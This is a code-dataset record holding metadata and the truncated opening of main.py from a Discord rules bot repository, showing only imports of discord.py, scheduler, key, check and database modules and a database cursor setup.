5cde1d36f84f8c6ab2fb0181cd53bb41de2ddfc9
1,902
py
Python
main.py
BigBoss1964/discord-rules
02257a84450388ceffbad5b6bb9e28175734403f
[ "MIT" ]
null
null
null
main.py
BigBoss1964/discord-rules
02257a84450388ceffbad5b6bb9e28175734403f
[ "MIT" ]
null
null
null
main.py
BigBoss1964/discord-rules
02257a84450388ceffbad5b6bb9e28175734403f
[ "MIT" ]
null
null
null
import sched import time import discord from discord import Embed, Color from discord.ext import commands from discord.ext.commands import CommandNotFound, MissingPermissions import KEYS from checks import NotADeveloper from database import * conn = db cur = conn.cursor() s = sched.scheduler(time.time,...
26.788732
95
0.663512